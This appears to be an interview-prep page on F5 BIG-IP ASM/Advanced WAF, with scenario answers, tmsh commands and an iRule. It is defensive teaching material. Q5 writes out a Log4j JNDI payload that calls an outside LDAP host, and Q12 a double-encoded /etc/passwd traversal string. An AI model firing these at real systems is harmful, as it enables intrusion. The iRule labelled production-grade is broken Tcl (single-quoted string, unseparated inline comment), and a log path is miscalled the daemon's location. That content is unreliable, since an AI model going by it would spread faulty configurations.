🛡️ F5 BIG-IP ASM & Advanced WAF Masterclass

F5 ASM (BIG-IP WAF) Scenario Interview & Master Dashboard

15 scenario-led, evidence-backed interview questions for Senior Security Engineers, WAF Architects, and L2/L3 SecOps. Includes 5 SVG architecture flowcharts, Support ID triage runbooks, iRule event hook patterns, and tmsh proof commands.

15 Master Scenarios
5 SVG Infographics
100% Evidence & tmsh Proof
L2 / L3 / Architect Target Depth
🔍

Visual Architecture & Workflow Infographics

📌 Visual 1: F5 BIG-IP LTM & ASM Engine Packet Flow

End-to-end traffic processing pipeline showing how an incoming HTTP connection traverses the LTM Virtual Server, HTTP Profile, ASM plugin, bd daemon inspection, and backend Pool Members.

Client HTTP GET /post.php LTM Virtual Server SSL Offload & TCP HTTP Profile Attached ASM Plugin Engine Daemon: bd (/var/log/ts/bd.log) Signatures & Positive Model Normalizes URL & Parameters Pass (Clean) Violation / Block Backend Server Pool HTTP 500 / Block Page Support ID: 18374920184729
📌 Visual 2: Policy Building & Staging Lifecycle

The strict 5-stage progression from initial policy creation in Transparent Mode to Signature Staging, Enforcement Readiness, Traffic Learning Suggestions, and Final Blocking Enforcement.

1. Transparent Mode Policy created Logs violations only No traffic blocked 2. Signature Staging 7-Day Staging Window New signatures staged Evaluates false positives 3. Real Traffic Learning Policy Builder samples Generates suggestions Entities & Parameters 4. Enforcement Readiness 7 days without hits Entities ready to enforce Engineer reviews 5. Blocking Enforce Mode Active Protection

Master Scenario Questions & Answers

Architecture Level: Senior / Architect Packet Flow
Q1: Walk me through the exact path of an HTTP request when it hits an F5 BIG-IP Virtual Server configured with an LTM HTTP profile and an ASM Security Policy. Which daemon performs the inspection, and what happens if bd crashes?
Production Context: An enterprise eCommerce site experiences intermittent 500 errors. The LTM Virtual Server status is UP, but application clients receive connection resets during peak traffic spikes.
Direct Architect Answer:

When traffic hits an ASM-enabled Virtual Server, the connection is handled by the tmm (Traffic Management Microkernel) daemon. The HTTP Profile parses the HTTP stream and hands off payload buffers to the bd (BIG-IP Daemon) via internal TMM plugin interfaces. The bd process performs normalization, decodes double URL/Base64 encoding, checks positive security constraints (URLs, parameters, file types), and evaluates negative security attack signature sets.

❌ Weak Answer (Junior Trap):

"F5 ASM is just a software firewall module inside BIG-IP. LTM routes the packet to ASM, ASM scans it for SQL injection, and if it passes, it forwards it to the server. If bd crashes, the Virtual Server just goes down."

✔️ Strong Answer (Senior SecOps Approach):

"TMM owns the TCP/SSL socket. Once decrypted, TMM invokes the ASM plugin. The bd daemon (located in /var/log/ts/bd.log) analyzes the request against the active compiled policy stored in shared memory (pva / memory allocated via provision.asm). If bd crashes or runs out of allocated memory, watchdogs (bigstart restart bd) attempt restart. Depending on the Virtual Server's Fail-Open / Fail-Closed configuration, TMM will either bypass ASM or drop connections with an HTTP 500 reset to prevent un-inspected traffic from reaching the backend."

# CLI Verification Commands for bd Daemon Health & Memory Allocation
tmsh show sys process bd
tail -f /var/log/ts/bd.log
tmsh list sys provision asm db-memory
# Check if bd core dumped recently:
ls -lh /var/core/bd*
Policy & Staging Level: Senior Engineer API Protection
Q2: Your team is protecting a financial REST API handling JSON payloads. How do you construct an F5 ASM policy that balances Positive Security (JSON schema/parameter constraints) with Negative Security (Attack Signatures), and how do you prevent parameter tampering on sensitive fields like account_balance?
Production Context: Attackers are attempting parameter tampering by modifying JSON request bodies from {"transfer_amount": 500} to negative numbers or injecting script tags in user profile JSON strings.
Direct Architect Answer:

A robust ASM policy uses Hybrid Security. Negative Security is enforced by assigning the API Security Signature Set (checking SQLi, Command Injection, JSON parser exploits). Positive Security is enforced by importing the OpenAPI (Swagger) v3 JSON Spec into ASM under Security -> Application Security -> Content Profiles -> JSON Profiles, explicitly defining allowed JSON data types, max lengths, and enforcing strict JSON schema validation.

❌ Weak Answer (Junior Trap):

"We just turn on Attack Signatures for OWASP Top 10 and enable JSON parsing. ASM automatically knows what parameters are allowed and blocks parameter tampering."

✔️ Strong Answer (Senior SecOps Approach):

"We configure an explicit JSON Profile attached to the URL path /api/v1/transfer. In the JSON profile, we set Validate JSON Payload = Enabled and upload the JSON schema. For parameter tampering on transfer_amount, we configure an explicit Parameter Entity: Data Type = Integer, Minimum Value = 1, Maximum Value = 100000. If an attacker submits a negative integer or decimal string, ASM triggers the violation Illegal Parameter Value and blocks the connection even if no signature is matched."

# tmsh Command to View JSON Profile and Violation Enforcement
tmsh list asm policy /Common/Banking_API_Policy json-profiles
tmsh list asm policy /Common/Banking_API_Policy blocking-settings | grep -i illegal_parameter
Policy & Staging Level: L2/L3 Lead Staging & Enforcement
Q3: What is the difference between Automatic Policy Building and Manual Policy Building in F5 ASM? Explain the "Enforcement Readiness Period" and why turning off Staging prematurely during an emergency zero-day patch can break production applications.
Production Context: A new security engineer disables signature staging across all attack signatures during an ongoing CVE incident. Within 5 minutes, 30% of legitimate user checkout traffic is blocked due to unexpected false positives.
Direct Architect Answer:

Staging places entities (URLs, parameters, attack signatures) in a non-blocking evaluation mode. If a staged signature matches traffic, ASM logs the violation but does NOT block the request. The Enforcement Readiness Period (default 7 days) requires that an entity receive traffic from multiple unique IP addresses for 7 days without triggering false positives before it is flagged as "Ready to Enforce". Disabling staging prematurely causes un-tuned signatures to immediately block valid production payload formats.

❌ Weak Answer (Junior Trap):

"Staging is just a test mode. Automatic policy building creates the policy automatically, while manual policy building requires us to add URLs manually. If we turn off staging, it just makes the security policy active immediately."

✔️ Strong Answer (Senior SecOps Approach):

"Automatic Policy Building uses the Real Traffic Policy Builder to observe traffic patterns, automatically adjust parameter lengths, and recommend rule acceptances based on hit thresholds. Manual Policy Building requires the engineer to explicitly review Learning Suggestions. During an emergency zero-day patch, instead of taking the ENTIRE signature set out of staging, we isolate the specific CVE Signature ID, disable staging ONLY for that targeted signature ID, verify its impact against staging logs, and keep the rest of the policy staging intact."

# tmsh Command to Inspect Staging Status & Enforcement Readiness
tmsh list asm policy /Common/Prod_WAF_Policy signature-sets
tmsh show asm policy /Common/Prod_WAF_Policy learning-suggestions
Support ID & Tuning Level: Senior Engineer Troubleshooting
Q4: A customer reports an HTTP 500 error block page displaying Support ID 18374920184729103. Walk me through your step-by-step investigation process in F5 ASM GUI and CLI, and how you resolve the false positive without opening a security vulnerability.
Production Context: An executive trying to submit a multi-line HTML text field in an internal portal is blocked by ASM with a Support ID. You are asked to troubleshoot and fix it immediately.
Direct Architect Answer:

The Support ID is a unique decimal string generated for every logged violation. To investigate: 1) In GUI: Navigate to Security -> Event Logs -> Application -> Requests, paste the Support ID in the search filter. 2) In CLI: Inspect syslog / remote SIEM or search /var/log/asm for the Support ID. 3) Analyze the exact violation (e.g. VIOLATION_ATTACK_SIGNATURE_DETECTED on parameter user_bio). 4) Fix by creating a targeted parameter exception or disabling the specific false-positive signature ID ONLY on that parameter, keeping global protection intact.

❌ Weak Answer (Junior Trap):

"I search the Support ID in Event Logs, see which attack signature blocked it, and disable that attack signature in the policy. Then I re-apply the policy."

✔️ Strong Answer (Senior SecOps Approach):

"Disabling an attack signature globally opens a huge vulnerability hole. When inspecting Support ID 18374920184729103, I identify the triggering parameter user_bio. If the parameter legitimately requires HTML tags, I configure user_bio as a Parameter Entity with Allow HTML Data = Enabled, or override Signature ID 200001472 on parameter user_bio ONLY. This eliminates the false positive while ensuring SQLi and RCE signatures remain strictly enforced across all other parameters."

# CLI Command to Search Request Log for Support ID
grep -i "18374920184729103" /var/log/asm
# Extract Full Request Details via MySQL Database query if local logging is enabled:
mysql -u root -p$(get_db_password) PRX -e "SELECT * FROM REQUESTS WHERE support_id='18374920184729103'\G"
Signatures & CVEs Level: Senior SecOps Zero-Day Response
Q5: F5 releases an updated attack signature set containing mitigation for a critical RCE vulnerability (e.g. Log4j / CVE-2021-44228). How do you apply this signature update, manage signature staging, and immediately enforce the critical signatures without waiting 7 days for staging to expire?
Production Context: A high-severity Zero-Day RCE vulnerability is actively being exploited globally. CISO demands 100% enforcement on F5 WAF within 2 hours.
Direct Architect Answer:

1) Download the latest Live Update file (ASM-AttackSignatures-*.user) from F5 Downloads or perform automated Live Update. 2) Update the Signature File under Security -> Options -> Application Security -> Attack Signatures -> Live Update. 3) Newly updated signatures enter Staging by default. 4) Filter the Attack Signature list by CVE-2021-44228 or Signature Names (Log4j rce). 5) Select the specific Log4j signature IDs, click Enforce Selected, apply the policy, and verify enforcement using a non-destructive curl payload.

❌ Weak Answer (Junior Trap):

"We just update the signatures and wait for 7 days for the signatures to come out of staging automatically. You shouldn't force signatures out of staging because it causes false positives."

✔️ Strong Answer (Senior SecOps Approach):

"For a critical RCE zero-day, waiting 7 days is unacceptable risk. After updating the signature file, we isolate the specific 4 Log4j signatures. We disable staging for those 4 signature IDs only. We test in a staging/canary environment using curl -H 'User-Agent: ${jndi:ldap://test.com/a}' https://api.firm.com. We verify the request is blocked with VIOLATION_ATTACK_SIGNATURE_DETECTED and Support ID generated, then push to production."

# tmsh Commands to Check Live Update Status & Force Enforce Specific Signatures
tmsh show sys software
tmsh list asm policy /Common/Prod_Policy attack-signatures | grep -B 2 -A 5 "200004152"
tmsh modify asm policy /Common/Prod_Policy attack-signatures modify { 200004152 { in-staging disabled } }
tmsh publish asm policy /Common/Prod_Policy
Bot & L7 DoS Level: Architect Bot Defense
Q6: How does F5 ASM / Advanced WAF distinguish between a legitimate web browser, a benign search engine crawler (Googlebot), and a malicious automated bot performing credential stuffing? Explain Client-Side JavaScript Challenges and Device Fingerprinting.
Production Context: An attacker uses a pool of 50,000 residential proxy IPs submitting login attempts to /login.php at 10 requests/sec per IP, bypassing traditional IP rate limiting.
Direct Architect Answer:

F5 Advanced WAF Bot Defense uses a multi-layered classification engine: 1) Benign Bot Verification: Verifies search crawlers (Googlebot/Bingbot) via reverse DNS lookup and cryptographic verification. 2) Proactive Bot Defense (JS Challenge): Injects an asynchronous JavaScript payload into initial HTTP responses. Real browsers execute JS and solve mathematical proof-of-work, setting a browser cookie. Simple headless scripts fail the JS challenge. 3) Device Fingerprinting: Collects DOM attributes, canvas rendering hints, TLS client hello ciphers, and browser API signatures to identify botnet clusters even across changing IP addresses.

❌ Weak Answer (Junior Trap):

"We check the User-Agent header. If the User-Agent says 'Python-requests' or 'curl', we block it. If it says 'Googlebot', we allow it."

✔️ Strong Answer (Senior SecOps Approach):

"User-Agent spoofing is trivial. Attackers impersonate Chrome User-Agents. F5 Bot Defense doesn't trust User-Agent strings. For mobile native apps where JS challenges break JSON APIs, we use Mobile SDK Integration or TPS-based Anomaly Mitigation with CAPTCHA/blocking triggered only when login failure rates cross baseline thresholds. For web traffic, JS Challenges + Device Fingerprinting identify bot clusters and block them before they reach backend authentication databases."

# tmsh Command to View Bot Defense Profile & Classifications
tmsh list security bot-defense profile /Common/Prod_Bot_Profile
tmsh show security bot-defense stats
Bot & L7 DoS Level: Architect Behavioral DoS
Q7: During a high-volume Layer 7 HTTP flood attack, server CPU hits 98% even though total network bandwidth appears normal. How does F5 ASM Behavioral DoS (BDoS) detect the anomaly using latency/TPS baselines, and how does it dynamically generate mitigation signatures?
Production Context: An attacker sends complex SQL search queries to /search.php?query=.... Total bandwidth is only 15 Mbps, but backend database CPU maxes out, crashing the web site.
Direct Architect Answer:

Standard volumetric rate-limiting fails because 15 Mbps looks normal. Behavioral DoS (BDoS) continuously builds machine-learning baselines of two key metrics: Transaction Per Second (TPS) and Server Latency (Response Time). When backend latency spikes while TPS exceeds baseline, BDoS calculates Stress Score. It automatically analyzes anomalous request parameters (e.g. specific URI combinations or header order), dynamically generates a temporary mitigation signature, and enforces it at TMM speed without requiring manual engineer intervention.

❌ Weak Answer (Junior Trap):

"We create an IP rate-limiting rule in LTM to block any IP sending more than 100 requests per minute."

✔️ Strong Answer (Senior SecOps Approach):

"IP rate limiting damages NATed enterprise users sharing single egress IPs. BDoS analyzes Server Stress. When stress exceeds threshold, BDoS enters Mitigation State using a 3-step escalation ladder: 1) Client JS Challenge, 2) Dynamic Signature Construction (blocking exact URI/header combinations unique to the attack traffic), 3) Rate Limiting heavy URLs. Once server latency drops back to baseline, BDoS automatically removes the dynamic signature."

# tmsh Commands to Inspect BDoS Baselines & Dynamic Mitigation Signatures
tmsh show dos-profile /Common/Prod_BDoS_Profile
tmsh show security dos-protection behavioral-signatures
Architecture Level: Senior SecOps Data Leakage
Q8: An internal compliance audit requires that SSNs and Credit Card numbers never leave the application in HTTP responses. How do you configure DataGuard in F5 ASM, what is the difference between log masking and response masking, and how do you handle custom internal patterns?
Production Context: A legacy backend API accidentally includes full 16-digit credit card numbers and Social Security Numbers in JSON response bodies during system debug errors.
Direct Architect Answer:

DataGuard inspects HTTP response payloads. Under Security -> Application Security -> Data Protection -> DataGuard, we enable Credit Card Numbers (using Luhn algorithm verification) and Social Security Numbers (SSN regex). - Masking in Response: Replaces credit card digits with XXXX-XXXX-XXXX-1234 before the packet leaves F5 to the client. - Masking in Log: Ensures sensitive parameter values in request logs are masked with asterisks in SIEM/syslog output. Custom regex patterns (e.g. employee ID EMP-[0-9]{6}) are added under Custom Patterns.

❌ Weak Answer (Junior Trap):

"DataGuard blocks any request that contains a credit card number and sends a 500 error back to the user."

✔️ Strong Answer (Senior SecOps Approach):

"DataGuard offers two enforcement choices: Mask Data (which preserves user application flow by scrubbing the sensitive numbers in-flight) vs Block Request (which aborts response delivery). In production, we select Mask Data for Credit Cards/SSNs to maintain availability while preventing PCI-DSS/HIPAA violations. Exception URIs (e.g. encrypted payment gateway endpoints) are added to DataGuard Exception Lists to prevent CPU overhead on binary file downloads."

# tmsh Command to View DataGuard Configuration & Exception URIs
tmsh list asm policy /Common/Prod_Policy dataguard
Policy & Staging Level: Senior Engineer File Upload Security
Q9: A web application allows users to upload PDF and JPEG files. Attackers are trying to bypass the WAF by uploading executable webshells disguised with .jpg extensions or chunked transfer encoding. How do you configure File Type and Parameter Security in ASM to block this?
Production Context: A file upload form on /upload.php accepts multipart form uploads. An attacker renames shell.php to shell.php.jpg and injects PHP code into image EXIF metadata.
Direct Architect Answer:

1) File Type Enforcement: In ASM, configure explicit Allowed File Types (pdf, jpg, png) with length limits. Disallow dangerous extensions (php, exe, jsp, asp). 2) Disallow Disallowed File Types & Double Extensions: Enable HTTP Protocol Compliance check for URL/File Name metacharacters and null byte injections (%00). 3) Multipart Body & ICAP Integration: Set parameter type to File Upload. For full malware prevention, route multipart payloads via ASM Internal ICAP Profile to an external Antivirus engine (e.g. ICAP server) for deep payload scanning before saving to disk.

❌ Weak Answer (Junior Trap):

"We add .jpg to allowed file types and turn on file upload attack signatures."

✔️ Strong Answer (Senior SecOps Approach):

"Attacking file uploads relies on extension deception. In ASM, we configure the parameter file_attachment as Data Type = File Upload. We enforce Check File Content, disallow execution permissions on the destination URL, and enable Chunked Transfer Encoding Normalization in HTTP Protocol Compliance to prevent evasion where payload fragments cross chunk boundaries."

# tmsh Command to View Allowed File Types & Protocol Compliance Settings
tmsh list asm policy /Common/Prod_Policy file-types
tmsh list asm policy /Common/Prod_Policy http-protocols
iRules & Logging Level: Senior SecOps iRules Integration
Q10: Write an iRule using ASM_REQUEST_VIOLATION to extract the Support ID, client IP, and violation details, inject a custom JSON error response for API clients, and forward high-speed syslog logs to a remote SIEM.
Production Context: API clients expecting JSON responses are breaking because ASM returns standard HTML block pages when violations occur. You must return custom JSON error structures containing the Support ID.
Direct Architect Answer:

We use the ASM_REQUEST_VIOLATION iRule event hook. When a violation is triggered, ASM passes control to the iRule. We extract violation details using ASM::violation_data, check if the request header Content-Type or URI path contains /api/, and send a customized JSON payload using HTTP::respond 403 containing the exact Support ID.

# Production-Grade iRule for Custom JSON Response on ASM Violation
when ASM_REQUEST_VIOLATION {
  set supp_id [ASM::support_id]
  set client_ip [IP::client_addr]
  set viol_names [ASM::violation_data]

  # Check if client expects JSON API response
  if { [HTTP::header "Accept"] contains "application/json" || [HTTP::uri] starts_with "/api/" } {
    set json_resp '{"error": "Access Denied", "code": 403, "support_id": "'$supp_id'", "client_ip": "'$client_ip'"}'
    ASM::payload replace 0 [ASM::payload length] "" # Clear standard payload
    HTTP::respond 403 content $json_resp "Content-Type" "application/json" "Access-Control-Allow-Origin" "*"
  }
}
Architecture Level: L3 / Architect HA & Policy Sync
Q11: You have an F5 BIG-IP Sync-Failover HA pair. Engineer A modifies an ASM policy on Device 1, while Engineer B commits changes on Device 2. Why does policy sync fail, how does ASM handle database sync across units, and how do you resolve ASM policy out-of-sync states?
Production Context: High Availability (HA) status indicator shows Changes Pending / Sync Failed across two BIG-IP appliances. ASM policy modifications on active unit cannot push to standby unit.
Direct Architect Answer:

Unlike standard LTM objects synchronized via CMI (Control Plane Management Infrastructure), ASM policies consist of compiled binary files, XML structures, and MySQL/SQLite database tables. Dual un-synchronized edits create a Policy Version Conflict. To resolve: 1) Identify the authoritative unit containing the correct security policy. 2) In GUI: Go to Device Management -> Overview -> Sync, select the authoritative device, and select Overwrite Sync (Push Device to Group). 3) If database sync stalls, restart the sync daemon: bigstart restart asm_config_server.

# tmsh Commands for Emergency ASM Policy HA Synchronization
tmsh run sys config-sync to-group /Common/Sync_Failover_Group
# Force ASM Config Server Restart if Sync process locks:
bigstart restart asm_config_server
tail -f /var/log/asm
Signatures & CVEs Level: Senior Engineer Evasion Normalization
Q12: How does F5 ASM defend against WAF evasion techniques such as URL double encoding, directory traversal null byte injection (%00), HTTP parameter pollution (HPP), and request smuggling?
Production Context: Pen testers submit payloads like %252e%252e%252fetc%252fpasswd (double encoded ../etc/passwd) attempting to bypass string-matching signature engines.
Direct Architect Answer:

ASM performs Input Normalization inside the bd engine BEFORE running any signature matching: 1) Decoding Pass: Performs recursive URL decoding, HTML entity decoding, and Unicode normalization. Double-encoded bytes are reduced to canonical ASCII form before signature evaluation. 2) Protocol Compliance: Enforces HTTP Protocol Compliance Checks (e.g. blocking Null Bytes %00, multiple Content-Length headers, or mismatched Transfer-Encoding and Content-Length to prevent HTTP Request Smuggling). 3) Parameter Pollution: Standardizes duplicate parameter names (?user=admin&user=guest) according to configured policy rules.

# tmsh Command to Inspect HTTP Protocol Compliance & Evasion Settings
tmsh list asm policy /Common/Prod_Policy http-protocols
Policy & Staging Level: Senior Architect API Schema Enforcement
Q13: How do you import an OpenAPI v3 spec into F5 ASM to automatically build an API protection policy? What happens when backend developers release an API endpoint drift without updating the WAF schema?
Production Context: CI/CD deployment pushes new API endpoints (/api/v2/payments/refund), but WAF team was not notified. ASM begins blocking all legitimate refund requests with Illegal URL violations.
Direct Architect Answer:

1) Import OpenAPI YAML/JSON under Security -> Application Security -> API Security -> OpenAPI Files. 2) ASM automatically constructs Allowed URLs, Allowed Methods (GET/POST/PUT/DELETE), Parameter Data Types, and JSON Schemas based on the spec. 3) Schema Drift Resolution: If developers deploy new endpoints without updating the WAF spec, ASM triggers Illegal URL / Illegal Parameter. To automate this in DevOps environments, integrate F5 AS3 (Application Services 3 Extension) or declarative REST API calls (/mgmt/tm/asm/tasks/import-openapi) directly into the GitLab/GitHub Actions CI/CD pipeline so schema updates publish synchronously with code deployments.

# REST API Endpoint to Automate OpenAPI Spec Import in CI/CD
curl -sk -u admin:password -X POST https://bigip-mgmt/mgmt/tm/asm/tasks/import-openapi \
  -H "Content-Type: application/json" \
  -d '{"file": "swagger_v2.json", "policyReference": {"link": "https://localhost/mgmt/tm/asm/policies/HASH_ID"}}'
iRules & Logging Level: Senior SecOps Logging & SIEM
Q14: Local /var/log/asm logs are being truncated due to high traffic volume. How do you configure an un-throttled Remote Logging Profile with High-Speed Logging (HSL), and how do you debug bd memory consumption using tmsh and top?
Production Context: Local syslog daemon is dropping log messages during a security incident. Security team demands 100% of illegal request logs forwarded to Splunk/QRadar without impacting F5 CPU performance.
Direct Architect Answer:

Local logging to disk is rate-limited to protect F5 management CPU and storage. 1) High-Speed Logging (HSL): Configure a Pool of remote SIEM syslog servers in LTM. Create a Logging Profile under Security -> Event Logs -> Application -> Logging Profiles. Select Remote Storage = High Speed Logging, assign the HSL Pool, format using Key-Value pairs or CEF (Common Event Format). 2) HSL Performance: HSL bypasses management Linux syslog and streams logs directly from TMM microkernel via hardware/network interfaces, handling 100,000+ EPS with negligible CPU impact.

# tmsh Command to Create HSL Pool and Check Memory / Process Usage
tmsh create ltm pool /Common/Splunk_HSL_Pool members add { 10.10.50.100:514 }
tmsh list sys process bd
top -b -n 1 | grep bd
Support ID & Tuning Level: L2/L3 Lead CLI Command Center
Q15: What are the key CLI commands, log files (/var/log/ts/bd.log, /var/log/asm), database utilities, and tmsh commands every Senior F5 ASM Engineer must master for emergency incident response?
Production Context: The F5 Configuration Utility (GUI) is unresponsive during a massive outage. You must diagnose ASM policy state, process crashes, and active violations purely via SSH CLI.
Direct Architect Answer:

A Senior F5 ASM Engineer relies on these critical CLI tools: - /var/log/ts/bd.log: Main ASM engine daemon log (debug violation evaluation, policy compilation errors). - /var/log/asm: System & administrative events (policy changes, sync failures, Live Updates). - asm_start / asm_stop: Emergency restart of ASM subsystem without restarting full LTM TMM. - tmsh show asm policy-status: View active policy enforcement state across Virtual Servers.

# Essential Emergency CLI Cheat Sheet
tail -f /var/log/ts/bd.log   # Engine trace
tail -f /var/log/asm           # ASM general events
bigstart status bd              # Check bd process status
tmsh list asm policy /Common/Policy_Name active-version
tmsh show sys provision asm     # Check RAM allocation

Interactive Knowledge Assessment

1. A signature is added to an F5 ASM policy and is placed in 'Staging'. What happens when a client sends a request matching this staged signature?
2. What is the primary purpose of the Support ID displayed on an F5 ASM block page?

Ready to Practice Complete F5 BIG-IP Scenarios?

Explore the interactive F5 Practice Hub on Techclick with 90+ evidence-based questions across LTM, GTM/DNS, and Advanced WAF/ASM, featuring interactive CLI simulators and mock interviews.

Launch F5 Practice Hub →